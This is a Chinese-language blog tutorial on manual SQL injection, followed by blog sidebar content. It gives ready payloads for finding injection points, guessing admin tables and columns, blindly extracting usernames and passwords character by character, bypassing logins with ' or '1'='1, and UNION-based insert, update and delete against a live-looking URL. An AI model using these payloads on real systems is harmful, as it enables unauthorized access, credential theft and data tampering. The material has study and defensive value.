深入浅出SQL注入

一、判断有无注入点

数字型:and 1=1 and 1=2 和 ‘

字符型:’and ‘1’=’1? ‘and ‘1’=’2

搜索型:关键字%’ and 1=1 and ‘%’=’%??? 关键字%’ and 1=2 and ‘%’=’%

大部分数据库都有用单行注释符(–)和多行注释符(/**/),在不需要执行后面操作的地方,可以添加相对应的注释符,盲注的情况下,用上面sql语句看返回页面是看不到页面异常信息的。

二、猜表

一般的表的名是admin username password tables等..

and 0<>(select count() from )

and 0<>(select count(*) from admin) –判断是否存在admin这张表

三、猜账号数目

如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

四、猜字段名称

在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count() from admin where len()>0)

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where
len(_blank>密码字段名称password)>0)

五、猜解各个字段的长度

猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count() from admin where len()>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

六、猜解字符

and 1=(select count(*) from admin where left(name,1)=a)

–猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)

–猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

七、后台弱口令类型SQL注入

原始SQL:SELECT * FROM Users WHERE Username=’$username’ AND
Password=’$password’

$username = 1′ or ‘1’=’1

$password=1′ or ‘1’=’1

然后sql查询会变为下面新的查询语句

SELECT * FROM Users WHERE Username=’1′ OR ‘1’=’1′ AND Password=’1’OR
‘1’=’1′

顺便回忆一个sql注入的过程,某注入点已经成立,想做增删改查的操作。

假设注入点为?http://0535code.com/?p=635 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from member
以上是查询语句了,要构造增加,删除,修改语句都要通过上面联合做查询。
增加:http://0535code.com/?p=635 And 1=2 union?INSERT INTO members (username,password) VALUES (‘demo’,’demo’);
修改:http://0535code.com/?p=635 And 1=2 union UPDATE member SET username = ‘name’ WHERE username = ‘demo’;
删除:http://0535code.com/?p=635 And 1=2 union DELETE FROM members WHERE username = ‘demo’ ;
或者也可以把查询语句放union,结束的时候加个分号(;),表示结束,再重新添加构造的sql语句。

过以上几个语句,有几个疑问,验证了下答案。

  1. 问题一:在猜解到了数据库表名和列名,是否可以添加记录?

原始sql语句:INSERT INTO test.users (id, username, password,
name) VALUES (NULL, ‘1111’, ‘2222’, ‘3333’); 测试sql语句:INSERT INTO
test.users ( name) VALUES ( ‘ccc’);
经过测试是可行的,只要猜到表名和字段名就可以增删改查操作了。

  1. 问题二:select 1,2,3,4,5,6,7,8,9,10 from member,中间列数怎么用呢?

select name from users where 1 and 1=2 union select 1 , 2, 3,4,5,6
from users 如果为6个字段的话,才会正常返回值,通过这个确定列数,确定列数后,可以猜解字段所在的列,从1替换到10看返回数据。

现在工具那么多,通常sql注入,会采用sqlmap,pangolin,Havij验证,有些需要手工构造后,通过工具爆库。

Typecho赞赏功能

「一键投喂 软糖/蛋糕/布丁/牛奶/冰阔乐!」

冷夜清风

(๑>ڡ<)☆谢谢老板们的投食~

使用微信扫描二维码完成支付


  Previous post Typecho框架——NO.1 MUSIC
Next post   永远的Blade & Soul

添加新评论

选择表情

  近期动态

本站已部署阿里云CDN实现全球加速
--- updated on 2019-04-28 11:53:21 星期日

  关于博主

本是一个爷们,上天却赐我一双女人的眼睛
九零后,集美貌与才华于一身的美男子
双鱼男,身材纤瘦,身高中等
工作方向:网络安全运维

  近期评论

  •  浪客小苏: 很遗憾的通知你,快充毁电池,,我都是用自带的充电器充电,,
  •  花花: 群晖建站,没有这个文件夹
  •  花花: 主题目录只有404.php啊,哪来的html
  •  凡涛: 原域名(https://ciludx.cn/)变更为(https://isujin.cn/) ...
  •  大大的小蜗牛: 图片处理那里可以创建样式,进一步压缩图片,比如85%的webp格式,可以更省流量
  •  Xin: 点赞支持公益!臭虫笔记404页面 也替换了
  •  木剑客: 为大佬点赞,感谢!
  •  dongyue: 谢谢大佬❤❤
  •  64646: 66
  •  臭皮匠: 谢谢啦

  分类目录

生活其实很简单,过了今天就是明天。

低头哭过别忘了抬头继续走。

不要被任何人打乱自的脚步,因为没有谁会像你一样清楚和在乎自己梦想。

没有人可以打倒我,除非我自己先趴下!

你要记住你不是为别人而活,你是为自己而活。